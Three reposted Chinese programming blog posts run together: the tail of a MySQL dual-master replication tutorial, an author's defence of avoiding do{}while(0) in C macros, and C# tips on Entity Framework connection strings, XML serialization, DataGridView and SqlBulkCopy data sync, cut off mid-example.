File | Position | Binlog_Do_DB | Binlog_Ignore_DB | +------------------+----------+--------------+------------------+ | mysql-bin.000003 | 273 | | | +------------------+----------+--------------+------------------+ 1 row in set (0.00 sec) 在DB1的数据库中将DB2设为自己的主服务器 mysql> change master to \ -> master_host='10.24.24.112', -> master_user='repl_user1', -> master_password='repl_password1', -> master_log_file='mysql-bin.000003', -> master_log_pos=273; 在DB1上启动从服务器 mysql> start slave; Query OK, 0 rows affected (0.00 sec) 查看DB1上从服务器的运行状态 mysql> show slave status\G; *************************** 1. row *************************** Slave_IO_State: Waiting for master to send event Master_Host: 10.24.24.112 Master_User: repl_user1 Master_Port: 3306 Connect_Retry: 60 Master_Log_File: mysql-bin.000003 Read_Master_Log_Pos: 273 Relay_Log_File: mysql-relay-bin.000002 Relay_Log_Pos: 251 Relay_Master_Log_File: mysql-bin.000003 Slave_IO_Running: Yes Slave_SQL_Running: Yes Replicate_Do_DB: Replicate_Ignore_DB: Replicate_Do_Table: Replicate_Ignore_Table: Replicate_Wild_Do_Table: Replicate_Wild_Ignore_Table: mysql.%,test.%,information_schema.% Last_Errno: 0 Last_Error: Skip_Counter: 0 Exec_Master_Log_Pos: 273 Relay_Log_Space: 406 Until_Condition: None Until_Log_File: Until_Log_Pos: 0 Master_SSL_Allowed: No Master_SSL_CA_File: Master_SSL_CA_Path: Master_SSL_Cert: Master_SSL_Cipher: Master_SSL_Key: Seconds_Behind_Master: 0 Master_SSL_Verify_Server_Cert: No Last_IO_Errno: 0 Last_IO_Error: Last_SQL_Errno: 0 Last_SQL_Error: 1 row in set (0.00 sec) ERROR: No query specified Slave_IO_Running和Slave_SQL_Running都处于YES状态。表明DB1上复制服务运行正常,mysql双主模式主从复制配置完毕。 ------------------------------------ 验证数据的完整性 DB2上创建新数据库、表 mysql> create database ywadmin001; mysql> use ywadmin001; 创建表 mysql> create table personal001(member_no char(9) not null,name001 char(5),birthday001 date,exam_score001 tinyint,primary key(member_no)); 查看表内容 mysql> desc personal001; +---------------+------------+------+-----+---------+-------+ | Field | Type | Null | Key | Default | Extra | +---------------+------------+------+-----+---------+-------+ | member_no | char(9) | NO | PRI | NULL | | | name001 | char(5) | YES | | NULL | | | birthday001 | date | YES | | NULL | | | exam_score001 | tinyint(4) | YES | | NULL | | +---------------+------------+------+-----+---------+-------+ 4 rows in set (0.00 sec) vmysql> use ywadmin001; mysql> insert into personal001 values ('001','netseek','1983-03-15','95'); mysql> insert into personal001 values ('002','heihei','1982-02-24','90'); mysql> insert into personal001 values ('003','gogo','1985-05-21','85'); mysql> select * from personal001; +-----------+---------+-------------+---------------+ | member_no | name001 | birthday001 | exam_score001 | +-----------+---------+-------------+---------------+ | 001 | netse | 1983-03-15 | 95 | | 002 | heihe | 1982-02-24 | 90 | | 003 | gogo | 1985-05-21 | 85 | +-----------+---------+-------------+---------------+ 3 rows in set (0.00 sec) 并在personal表中插入数据 mysql> use ywadmin; mysql> show tables; mysql> insert into personal values ('007','ywadmin','1987-11-07','100'); mysql> insert into personal values ('008','ywliyq','1986-12-25','99'); mysql> insert into personal values ('009','xiaxia','1990-12-27','97'); DB1数据库上验证数据是否同步 新的数据库及表是否被创建 mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | ywadmin | | ywadmin001 | +--------------------+ 4 rows in set (0.00 sec) mysql> use ywadmin001; mysql> show tables; +----------------------+ | Tables_in_ywadmin001 | +----------------------+ | personal001 | +----------------------+ 1 row in set (0.00 sec) mysql> select * from personal001; +-----------+---------+-------------+---------------+ | member_no | name001 | birthday001 | exam_score001 | +-----------+---------+-------------+---------------+ | 001 | netse | 1983-03-15 | 95 | | 002 | heihe | 1982-02-24 | 90 | | 003 | gogo | 1985-05-21 | 85 | +-----------+---------+-------------+---------------+ 3 rows in set (0.00 sec) 新建库、表中的内容已同步。 原表插入的数据是否同步 mysql> use ywadmin; mysql> select * from personal; +-----------+-------+------------+------------+ | member_no | name | birthday | exam_score | +-----------+-------+------------+------------+ | 001 | netse | 1983-03-15 | 95 | | 002 | heihe | 1982-02-24 | 90 | | 003 | gogo | 1985-05-21 | 85 | | 004 | haha | 1984-02-25 | 84 | | 005 | linli | 1982-04-28 | 85 | | 006 | xinxi | 1985-03-15 | 75 | | 007 | ywadm | 1987-11-07 | 100 | | 008 | ywliy | 1986-12-25 | 99 | | 009 | xiaxi | 1990-12-27 | 97 | +-----------+-------+------------+------------+ 9 rows in set (0.00 sec) 原表插入的列也已同步,数据已完成复制. 删除DB2上的库 mysql> drop database ywadmin001; DB1上检查ywadmin001库是否被删除 mysql> show databases; +--------------------+ | Database | +--------------------+ | information_schema | | mysql | | ywadmin | +--------------------+ 3 rows in set (0.00 sec) 删除很快,基本上是实时同步的. 本文转自 蜗牛远途 51CTO博客,原文链接:http://blog.51cto.com/ywliyq/1856963
这是个很意外的话题,我前两天发布了一篇博文,《C语言学习中的变参处理》(http://tonyxiaohome.blog.51cto.com/925273/314371),没想到引起了争论。 这里面,争论最大的就是里面的变参处理宏,为什么没有用do{}while(0)封装,而是直接用大括号{}封装。 应该说,大量这种讨论,有点出乎我的意料。我写这篇博文,本意是讲如何处理变参,用函数型宏来处理,算是一个处理方法,是为处理变参这个中心思想服务的,我心里想的,更多的是大家从这篇博文中,能学到处理变参传参的技巧,以后直接应用到工作和学习中,但是,我还真没想到,很多高手、准高手,没有关注变参处理这个中心思想,而把目光放在了宏的书写本身上。 这让我有点买椟还珠的感觉。 我说句实在话,大家以后看博文,最好还是看看博主真正想说什么,别老是带着自己的思路去看别人的文章,不然,挑了一大堆错误,结果,博主的想说的主要意思没理解到,除了可以可以显得自己比较牛之外,确实不容易学到东西。 我的书《 0bug-C/C++商用工程之道》其实就遇到过这种情况,大多数读者是很爱学习的,但是,确实有少部分人,看书的目的就是找错误,很多时候,甚至根本不管书中原文到底在讲什么,只管按照自己熟悉的方向,找错误。 这里面什么心态都有哈,不排除某些个枪手带着目的刻意而为,但我想至少有相当一部分人,可能是这么想的:“啊哈,这个书这里有个bug,这个作者在这点不如我,我得写点什么或者说点,显得我比作者高明,作者的水平不过如此!”。 于是乎,拍砖的,喷人的,PK的,就都来了。很多时候话还很难听,让我很不好回答,最后只有删帖了事。 这里呢,我提个建议,听不听在大家。我建议大家以后遇到书籍、博文、演讲什么的,先不忙骂,也不要预设立场,先听听,看人家讲的有没有自己不足之处,有的话,把人家的东东学过来,而自己的东东,自己又没有讲,人家学不去,你不是赚了嘛。呵呵。 我们程序员,看文档时经常会碰到一个单词,Context,就是上下文,这话呢,翻译到中国话就是前因后果,很多时候,文章中一句话,必须结合着上下文来分析,是有前提条件的,不能单独就一句话来理解,这个道理,我想大家都知道。这里,我也建议啊,大家看博文,耐心点,从头到尾看完再说话,我发现很多人,没耐心,看一点,或者文章中间看到一句话,就开骂,这至少不客观对吧? 就好比年初我演讲《明日世界--云端计算下的程序员需求》,就有人,看了不到十分钟就开骂,说讲得很烂。我晕,我讲了俩小时呢,120分钟,我问他,他看书是不是也只看十分之一就开骂?他就不说话了。 我想我说这番话,倒不全是因为我是博主、作者、演讲者,很多时候,我们从客观的角度出发,要想了解别人的一段话,起码读完再说嘛,这个要求不过分吧? 好吧,言归正传,故事的起因是这样的,我在《C语言学习中的变参处理》中,有这么一段: Code: #define TONY_FORMAT(nPrintLength,szBuf,nBufferSize,szFormat) \ { \ va_list pArgList; \ va_start (pArgList,szFormat); \ nPrintLength+=Linux_Win_vsnprintf(szBuf+nPrintLength, \ nBufferSize-nPrintLength,szFormat,pArgList); \ va_end(pArgList); \ if(nPrintLength>(nBufferSize-1)) nPrintLength=nBufferSize-1; \ *(szBuf+nPrintLength)='\0'; \ } 由于我这里没有使用do{}while(0)来封装,因此,后文中我在if{}else{}配对中就必须加大括号: Code: #define TONY_LINE_MAX 1024 //最大一行输出的字符数 //输出到控制台 inline int TonyPrintf(bool bWithTimestamp, //是否带时间戳标志 char* szFormat, ...) //格式化字符串 { if(!szFormat) return 0; char szBuf[TONY_LINE_MAX]; int nLength=0; if(!bWithTimestamp) { //注意,由于内部是函数型宏,if...else这个大括号必不可少 TONY_FORMAT(nLength,szBuf,TONY_LINE_MAX,szFormat); } //注意,由于内部是函数型宏,if...else这个大括号必不可少 else { //注意,由于内部是函数型宏,if...else这个大括号必不可少 TONY_FORMAT_WITH_TIMESTAMP(nLength,szBuf,TONY_LINE_MAX,szFormat); } //注意,由于内部是函数型宏,if...else这个大括号必不可少 return printf(szBuf); } 其实也可以不必加了,把宏调用后面的分号“;”去掉,就可以不加大括号,写成下面这样: Code: #define TONY_LINE_MAX 1024 //最大一行输出的字符数 //输出到控制台 inline int TonyPrintf(bool bWithTimestamp, //是否带时间戳标志 char* szFormat, ...) //格式化字符串 { if(!szFormat) return 0; char szBuf[TONY_LINE_MAX]; int nLength=0; if(!bWithTimestamp) TONY_FORMAT(nLength,szBuf,TONY_LINE_MAX,szFormat) //注意,没有分号 else TONY_FORMAT_WITH_TIMESTAMP(nLength,szBuf,TONY_LINE_MAX,szFormat) //注意,没有分号 return printf(szBuf); } 这本来是个细节问题,不过啊,引发争议很多,因为大家从很多C语言库中,可以看到这里使用do{}while(0)来封装,就没有这个限制。 于是呼,就都来了,呵呵。 后来我没办法,只有给出详细的解释,我的程序中,是不用do{}while(0)的,原因如下: 唉,多说一点吧,我的0bug一书中有讲,严禁一语多义,do{}while这个语句,写循环的时候,完全可以用while()来代替,而且更精准。它在我看来,唯一的作用就是这个写宏的时候用。这说明什么,do{}while唯一的作用,就是做宏用,而不是做循环语句用,这岂止是一语多义,根本就是乱义,我认为对程序员的误导极大。 我们都是通过学习循环语句学会的do{}while,但是,现在看起来,实际使用的时候,它更多被当成宏命令用,而不是循环语句,大家觉得乱不乱? 我很讨厌这种挂羊头卖狗肉的东东,所以,我的程序杜绝使用do{}while(),也严禁我的团队程序员这么使用,我不希望我们的代码,字面上看起来是一个意思,实际上又是另外一个意思。我唯一付出的代价,就是如本文所述,在使用宏时,正好又碰到if{}else{},我需要显式书写大括号而已。 这是以前我和几个做C的朋友讨论了半天,确认的不容易写错和读错的办法。这么多年,差不多15年了,一直坚持这么用,没有出过问题。 C语言很灵活的,没有什么规定的标准,事实上,把do{}while()不当循环语句用,而是作为宏包容符,这本身就是典型的非标准写法,大家想想是不是? 我写这么多,主要是想解释一下,不用do{}while(),更多地是从规范化编程,减少bug,减少团队bug这个出发点来的,并不是我不会用,更不是写不好。是经过仔细评估过后,对C/C++语言做了很多规范性裁剪使用的结果,一个问题,有很多种解法,但是,我趋向于取一种最简单的,最不容易出错的,形成标准,这样团队开发才有效率。 事实上,《0bug-C/C++商用工程之道》这本书,通篇除了讲并行,更多的就是讲这种规范化开发,这虽然看起来,限制了程序员的随意性和灵活度,但是,这保证了团队开发的质量,能帮大家赚到钱,我就认为是好办法。 08年我带团队,做的商用服务器集群,十几万行代码,只有51个bug,属于C/C++部分只有7个,这就是规范化开发的结果。这个故事在书上讲了的。我知道大家都理解do{}while()可以用来做宏,我也知道,但是,我希望大家更多想想,怎么写不容易写错,也不容易读错的代码,这样的代码,bug少,能赚钱,大家想不想写呢? 我想,至少我写程序不是为了炫耀,不是为了体现某些东东自己懂,别人不懂,显得我好像高人一等是的。我想的更多的,是如何简单、直接地输出产品,没有bug,大家赚到钱。我的这种思想,大家能同意不? do{}while()看似简单,但背后体现程序设计规范化的思想,讲起来很麻烦,大家看我回复这么多,能理解吧? 喏,我想说的就是上面这段,如果还觉得不够详细呢,建议看看《0bug-C/C++商用工程之道》这本书,这也有个上下文问题,我定义的C/C++无错化设计方法,背后是有一个思想和原则的,即在语言裁剪使用的时候,有个取舍的原则,这个书里讲得更详细。看了,我想就能理解为什么我在这里舍掉do{}while()了。 也不一定要买书才能看啊,我的书,各大书店都有,有空的话,逛书店顺便翻翻,看看第三章,就都明白了,我想这么占便宜的事情,大家不会不去做吧,呵呵。 do{}while(0)很误导人的,大家有兴趣,看看这个例子: Code: int i=0; do { i++; }while(0); //i=? 这么说吧,while(0),顾名思义,循环0次,但是,i++被执行过没有? 稍微对C语言不是特别熟悉的人,看到这段代码,怎么猜测i=? do{}while(0),语义含混,字面意思和实际意思截然相反,所以我不用它。 再看看这个例子: Code: void TestDoWhile(void) { int i=0; i=0; do { i++; printf("i=%d\n",i); } while (0); i=0; do { i++; //程序陷入死循环 printf("i=%d\n",i); } while (1); } 好家伙,do{}while(0)表示执行了1次,do{}while(1),表示执行无数次,大家觉得这个语义理解有没有歧义,误导人不? 好吧,先到这里,我这里呢,也算说点心里话,很多时候,辛辛苦苦写点东东出来,本来是出于一片好意,把自己一些研究心得share给大家,看能不能帮到人,就有人上来就开骂,看着确实很不舒服。大家说呢? ======================================================= 在线底价购买我的书《0bug-C/C++商用工程之道》 (直接点击下面链接或拷贝到浏览器地址栏)http://s.click.taobao.com/t_3?&p=mm_13866629_0_0&n=23&l=http%3A%2F%2Fsearch8.taobao.com%2Fbrowse%2F0%2Fn-g%2Corvv64tborsvwmjvgawdkmbqgboq---g%2Cgaqge5lhebbs6qzlfmqmttgtyo42jm6m22xllqa-------------1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20---40--coefp-0-all-0.htm%3Fpid%3Dmm_13866629_0_0 本文转自 tonyxiaohome 51CTO博客,原文链接:http://blog.51cto.com/tonyxiaohome/315416,如需转载请自行联系原作者
1.默认EF生成的连接字符串比较的长和怪异,若想使用普通的连接字符串来连接EF,则可以通过创建分部类,并重写一个构造函数,在构造函数中通过动态拼接EntityConnectionString得到EF所需的连接字符串,具代实现代码如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public partial class DataEntities { private static ConcurrentDictionary<string, string> entityConnStrings = new ConcurrentDictionary<string, string>(); public DataEntities(string connName) : base(BuildEntityConnectionString(connName)) { } private static string BuildEntityConnectionString(string connName) { if (!entityConnStrings.ContainsKey(connName)) { var connStrSetting = System.Configuration.ConfigurationManager.ConnectionStrings[connName]; EntityConnectionStringBuilder entityConnStrBuilder = new EntityConnectionStringBuilder(); entityConnStrBuilder.Provider = connStrSetting.ProviderName; entityConnStrBuilder.ProviderConnectionString = EncryptUtility.DesDecrypt("XXXXX", connStrSetting.ConnectionString); entityConnStrBuilder.Metadata = "res://*/Data.csdl|res://*/Data.ssdl|res://*/Data.msl"; string entityConnString = entityConnStrBuilder.ToString(); entityConnStrings.AddOrUpdate(connName, entityConnString, (key, value) => entityConnString); } return entityConnStrings[connName]; } } 注意上面的类是一个分部类:partial,同时BuildEntityConnectionString方法是一个静态方法,在BuildEntityConnectionString方法中ProviderConnectionString = EncryptUtility.DesDecrypt("XXXXX", connStrSetting.ConnectionString);是关键,我这里是对config中的连接字符串 也都进行了加密,故此处我需要解密,若无这个需求可以直接:ProviderConnectionString =connStrSetting.ConnectionString即可。后续实例化EF上下文对象时,请使用:DataEntities(string connName)这个构造涵数即可,DataEntities是具体的EF上下文对象,大家的EF上下文类名均可能不相同。 2.支持一个通用对象的XML序列化(即:一个类中有可变类型属性成员,需要不同的序列结果及生成不同的序列元素名称),具体实现代码如下: 一个需要被序列化成XML的类:其中要求生成的XML元素detail必需有子元素,且子元素名称及子元素内部属性根据类型的不同而不同(即:detail元素下的子元素是可变的) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 [XmlRootAttribute("master")] public class DemoMaster<T> where T : class { [XmlElement("attr")] public string DemoAttr { get; set; } [XmlElement("detail")] public DemoDetail<T> DemoDetail { get; set; } //关键点在这里,该属性元素为:detail,但其子元素根据T不同而不同 } public class DemoDetail<T> : IXmlSerializable where T : class { public T body { get; set; } public System.Xml.Schema.XmlSchema GetSchema() { return null; } public void ReadXml(System.Xml.XmlReader reader) { string bodyStr = reader.ReadInnerXml(); this.body = XmlHelper.XmlDeserialize<T>(bodyStr, Encoding.UTF8); } public void WriteXml(System.Xml.XmlWriter writer) { writer.WriteRaw(XmlHelper.XmlSerialize(this.body, Encoding.UTF8, true)); } } [XmlTypeAttribute("list-a", AnonymousType = false)] public class DemoDetailA { public string Apro1 { get; set; } public string Apro2 { get; set; } public string Apro3 { get; set; } } [XmlTypeAttribute("list-b", AnonymousType = false)] public class DemoDetailB { public string Bpro1 { get; set; } public string Bpro2 { get; set; } public string Bpro3 { get; set; } } [XmlTypeAttribute("list-c", AnonymousType = false)] public class DemoDetailC { public string Cpro1 { get; set; } public string Cpro2 { get; set; } public string Cpro3 { get; set; } } 注意上面代码中,需要关注:DemoDetail属性及DemoDetail<T>类,DemoDetail属性仅是为了生成detail元素节点,而子节点则由DemoDetail<T>类来进行生成,DemoDetail<T>是实现了IXmlSerializable接口,在XML序列化时,DemoDetail<T>类仅将body属性对应的T类型实例内容进行序列化(WriteRaw),而反序列化时,则先反序列化body属性对应的T类型实例,然后赋值给body属性,这也是巧妙之处,DemoDetail<T>类本身并没有真正参与到序列化中,故序列化的字符串也看不到DemoDetail<T>类相关的元素,DemoDetail<T>类仅仅是一个XML序列化格式生成的中介。序列化的XML结果如下: 序列化代码: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 var demo1 = new DemoMaster<DemoDetailA>() { DemoAttr = "demo1", DemoDetail = new DemoDetail<DemoDetailA>() { body = new DemoDetailA() { Apro1 = "demoA1", Apro2 = "demoA2", Apro3 = "demoA3" } } }; var demo2 = new DemoMaster<DemoDetailB>() { DemoAttr = "demo2", DemoDetail = new DemoDetail<DemoDetailB>() { body = new DemoDetailB() { Bpro1 = "demoB1", Bpro2 = "demoB2", Bpro3 = "demoB3" } } }; var demo3 = new DemoMaster<DemoDetailC>() { DemoAttr = "demo3", DemoDetail = new DemoDetail<DemoDetailC>() { body = new DemoDetailC() { Cpro1 = "demoC1", Cpro2 = "demoC2", Cpro3 = "demoC3" } } }; textBox1.Text = XmlHelper.XmlSerialize(demo1, Encoding.UTF8); textBox1.Text += "\r\n" + XmlHelper.XmlSerialize(demo2, Encoding.UTF8); textBox1.Text += "\r\n" + XmlHelper.XmlSerialize(demo3, Encoding.UTF8); 序列化的XML: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?xml version="1.0" encoding="utf-8"?> <master> <attr>demo1</attr> <detail><list-a> <Apro1>demoA1</Apro1> <Apro2>demoA2</Apro2> <Apro3>demoA3</Apro3> </list-a></detail> </master> <?xml version="1.0" encoding="utf-8"?> <master> <attr>demo2</attr> <detail><list-b> <Bpro1>demoB1</Bpro1> <Bpro2>demoB2</Bpro2> <Bpro3>demoB3</Bpro3> </list-b></detail> </master> <?xml version="1.0" encoding="utf-8"?> <master> <attr>demo3</attr> <detail><list-c> <Cpro1>demoC1</Cpro1> <Cpro2>demoC2</Cpro2> <Cpro3>demoC3</Cpro3> </list-c></detail> </master> 3.winform DataGridView 实现指定列采取密码框模式显示与编辑,以及列绑定到复合属性(即:绑定到多层次属性),具体实现代码如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 dataGridView1.CellFormatting += new DataGridViewCellFormattingEventHandler(dataGridView1_CellFormatting); dataGridView1.EditingControlShowing += new DataGridViewEditingControlShowingEventHandler(dataGridView1_EditingControlShowing); public string EvaluateValue(object obj, string property) { string retValue = string.Empty; string[] names = property.Split('.'); for (int i = 0; i < names.Count(); i++) { try { var prop = obj.GetType().GetProperty(names[i]); var result = prop.GetValue(obj, null); if (result != null) { obj = result; retValue = result.ToString(); } else { break; } } catch (Exception) { throw; } } return retValue; } private void dataGridView1_CellFormatting(object sender, DataGridViewCellFormattingEventArgs e) { if (dataGridView1.Columns[e.ColumnIndex].DataPropertyName.Contains(".")) { e.Value = EvaluateValue(dataGridView1.Rows[e.RowIndex].DataBoundItem, dataGridView1.Columns[e.ColumnIndex].DataPropertyName); } if (dataGridView1.Columns[e.ColumnIndex].Name == "KeyCode") { if (e.Value != null && e.Value.ToString().Length > 0) { e.Value = new string('*', e.Value.ToString().Length); } } } private void dataGridView1_EditingControlShowing(object sender, DataGridViewEditingControlShowingEventArgs e) { int i = this.dataGridView1.CurrentCell.ColumnIndex; bool usePassword = false; if (dataGridView1.Columns[i].Name == "KeyCode") { usePassword = true; } TextBox txt = e.Control as TextBox; if (txt != null) { txt.UseSystemPasswordChar = usePassword; } } //示例:绑定的源数据类定义 public class DemoBindClass { public string Attr { get; set; } public string KeyCode { get; set; } public DemoDetailA Detail { get; set; } } public class DemoDetailA { public string Apro1 { get; set; } public string Apro2 { get; set; } public string Apro3 { get; set; } public DemoDetailB DetailChild { get; set; } } public class DemoDetailB { public string Bpro1 { get; set; } public string Bpro2 { get; set; } public string Bpro3 { get; set; } } 绑定到数据源: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 var demo = new[] { new DemoBindClass() { Attr = "demo", KeyCode="a123456789b", Detail = new DemoDetailA() { Apro1 = "demoA1", Apro2 = "demoA2", Apro3 = "demoA3", DetailChild = new DemoDetailB() { Bpro1 = "demoB1", Bpro2 = "demoB2", Bpro3 = "demoB3" } } } }; dataGridView1.AutoGenerateColumns = false; dataGridView1.DataSource = demo; 实现指定列采取密码框模式显示与编辑,以及列绑定到复合属性均需要订阅DataGridView的CellFormatting及EditingControlShowing事件,并在其中写转换当前Cell的Value,实现列绑定到复合属性,关键点在:EvaluateValue方法,该方法逻辑很简单,就是根据绑定的属性层级(.分隔)层层遍历获取属性的值,直到遍历完或为空时停止,最后得到的结果即是绑定的属性的值。最终实现的效果如下图示: 4.利用BCP(sqlbulkcopy)来实现两个不同数据库之间进行数据差异传输(即:数据同步) TransferBulkCopy作用:实现两个不同数据库之间进行数据差异传输,BuildInsertOrUpdateToDestTableSql作用:根据目的表及临时表生成更新与插入记录的SQL语句,以此实现:若同步的数据已存在,则更新,不存在,则插入。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 /// <summary> /// 通用数据传输方法(采用SqlBulkCopy快速批量插入,然后再进行处理) /// </summary> /// <param name="sourceSelectSql"></param> /// <param name="sourceConn"></param> /// <param name="destTableName"></param> /// <param name="destConn"></param> /// <param name="colMapFunc"></param> /// <param name="lastSaveAction"></param> public void TransferBulkCopy(string sourceSelectSql, SqlConnection sourceConn, string destTableName, SqlConnection destConn, Func<DataTable, Dictionary<string, string>> colMapFunc, Func<string, DataTable, SqlConnection, SqlConnection, bool> lastSaveAction, bool closeConnection = true) { DataTable srcTable = new DataTable(); SqlDataAdapter srcAdapter = new SqlDataAdapter(sourceSelectSql, sourceConn); srcAdapter.AcceptChangesDuringUpdate = false; SqlCommandBuilder srcCmdBuilder = new SqlCommandBuilder(srcAdapter); srcAdapter.Fill(srcTable); if (srcTable != null && srcTable.Rows.Count > 0) { string tempDestTableName = "#temp_" + destTableName; ClsDatabase.gExecCommand(destConn, string.Format("select top 0 * into {0} from {1}", tempDestTableName, destTableName), false); List<string> mapDestColNameList = new List<string>(); using (SqlBulkCopy sqlBulkCopy = new SqlBulkCopy(destConn)) { sqlBulkCopy.DestinationTableName = tempDestTableName; foreach (var map in colMapFunc(srcTable)) { sqlBulkCopy.ColumnMappings.Add(map.Key, map.Value); mapDestColNameList.Add(map.Value); } sqlBulkCopy.WriteToServer(srcTable); } srcTable.ExtendedProperties.Add(MapDestColNames_String, mapDestColNameList); bool needUpdate = lastSaveAction(tempDestTableName, srcTable, destConn, sourceConn); if (needUpdate) { if (srcTable.Columns.Contains("TranFlag")) { foreach (DataRow row in srcTable.Rows) { row["TranFlag"] = true; } } srcAdapter.Update(srcTable); } } if (closeConnection) { DisposeConnections(sourceConn, destConn); } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 /// <summary> /// 生成同步插入及更新目的表SQL语句 /// </summary> /// <param name="destTableName"></param> /// <param name="tempdestTableName"></param> /// <param name="pkWhereColNames"></param> /// <param name="mapDestColNames"></param> /// <param name="sqlType">0=生成INSERT与UPDATE;1=生成UPDATE语句;2=生成INSERT语句</param> /// <returns></returns> public string BuildInsertOrUpdateToDestTableSql(string destTableName, string tempdestTableName, string[] pkWhereColNames, object mapDestColNames, int sqlType = 0) { var mapDestColNameList = mapDestColNames as List<string>; string updateColNames = null; foreach (string col in mapDestColNameList) { if (!pkWhereColNames.Contains(col, StringComparer.OrdinalIgnoreCase)) { updateColNames += string.Format(",{0}=tnew.{0}", col); } } updateColNames = updateColNames.Substring(1); string insertColNames = string.Join(",", mapDestColNameList); string pkWhereSql = null; foreach (string col in pkWhereColNames) { pkWhereSql += string.Format(" and told.{0}=tnew.{0} ", col); } pkWhereSql = pkWhereSql.Trim().Substring(3); StringBuilder sqlBuilder = new StringBuilder(); if (sqlType == 0 || sqlType == 1) { sqlBuilder.AppendFormat("UPDATE {0} SET {1} FROM {0} told INNER JOIN {2} tnew ON {3} " + Environment.NewLine, destTableName, updateColNames, tempdestTableName, pkWhereSql); } if (sqlType == 0 || sqlType == 2) { sqlBuilder.AppendFormat("INSERT INTO {0}({1}) SELECT {1} FROM {2} tnew WHERE NOT EXISTS(SELECT 1 FROM {0} told WHERE {3}) " + Environment.NewLine, destTableName, insertColNames, tempdestTableName, pkWhereSql); } return sqlBuilder.ToString(); } 使用示例如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 public void SendData_CustomerAuthorization() { try { SqlConnection obConnLMS1 = new SqlConnection(master.connLMSStr); SqlConnection obConnWEB1 = new SqlConnection(master.connWEBStr); string selectSql = @"SELECT TOP {0} Id,Phone,Mac,IsSet,LastLoginTime,PCName,TranFlag FROM TWEB_CustomerAuthorization WHERE TranFlag=0 ORDER BY Id "; selectSql = string.Format(selectSql, master.batchSize); master.TransferBulkCopy(selectSql, obConnWEB1, "TB_CustomerAuthorization", obConnLMS1, (stable) => { var colMaps = new Dictionary<string, string>(); foreach (DataColumn col in stable.Columns) { if (!col.ColumnName.Equals("TranFlag", StringComparison.OrdinalIgnoreCase)) { colMaps.Add(col.ColumnName, col.ColumnName); } } return colMaps; }, (tempTableName, stable, destConn, srcConn) => { StringBuilder saveSqlBuilder = new StringBuilder("begin tran" + Environment.NewLine); string IUSql = master.BuildInsertOrUpdateToDestTableSql("TB_CustomerAuthorization", tempTableName, new[] { "Id" }, stable.ExtendedProperties[master.MapDestColNames_String]); saveSqlBuilder.Append(IUSql); saveSqlBuilder.AppendLine("commit"); ClsDatabase.gExecCommand(destConn, saveSqlBuilder.ToString()); master.WriteMsg(master.lstSended, string.Format("上传时间:{0:yyyy-MM-dd HH:mm}\t SendData_CustomerAuthorization \t Succeed:{1}", DateTime.Now, stable.Rows.Count)); return true; }); } catch (Exception ex) { master.WriteMsg(master.lstErrorInfo, DateTime.Now.ToString("yyyy-MM-dd HH:mm") + "\t" + "SendData_CustomerAuthorization" + "\t" + ex.Message.ToString()); } } 同步原理如下: 4.1.定义好查询源服务器的需要同步的表(一般表中我们定义一个用于是否同步的标识字段,如:TranFlag Bit类型,0表示新数据,未同步,1表示已同步); 4.2.查询源服务器的需要同步的表的记录(一般是TranFlag=0的记录),利用SqlDataAdapter+SqlCommandBuilder 装载Dataset,目的是后续可以利用SqlDataAdapter直接生成更新命令并执行; 4.3.利用insert into从目的服务器的将被同步的表复制结构产生一个临时表,表名一般是:#temp_目的服务器的将被同步表名 ,这样临时表与实体表的结构完全一致; 4.4.实例化一个SqlBulkCopy,并建立源服务器的需要同步的表字段与目的临时表字段的映射,然后执行跨服务器传输; 4.5.利用 BuildInsertOrUpdateToDestTableSql 方法 ,生成 目的服务器的将被同步的表 与 临时表的插入与更新SQL语句(现在在同一个库了,想怎么用SQL语句均可) 4.6.为确保一致性,故外层还需包裹事务SQL语句,若还需加入其它处理SQL,可以加在begin tran ... commit代码块中即可,最后执行SQL语句:gExecCommand(ClsDatabase.gExecCommand是一个SQLDB HELPER 类的执行SQL命令的方法) 5.实现同一个WINDOWS SERVICE程序 COPY多份,然后通过更改自定义的服务ID(ServiceID)配置项来实现:同一个服务程序安装成多个不同的WINDOWS服务进程: 5.1.创建一个WINDOWS服务项目,在ProjectInstaller设计器界面通过右键弹出菜单选择安装程序(serviceProcessInstaller1、serviceInstaller1)、并设置好ServiceName、DisplayName、Description、Account等,如下图示: 5.2.在ProjectInstaller构造函数中增加从CONFIG文件中读取自定义的服务ID(ServiceID)配置项的值,然后将ServiceID拼加到预设的ServiceName后面,以便实际根据ServiceID能够安装成不同ServiceID后缀的服务进程,关键点在于改变ServiceName,另一个关键点是从CONFIG文件中获取ServiceID,由于安装时,传统的方式无法正常读取到CONFIG,只能通过Assembly.GetExecutingAssembly().Location 来获取当前执行的程序集的路径再拼成CONFIG文件路径,最后读出ServiceID的值,示例代码如下: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 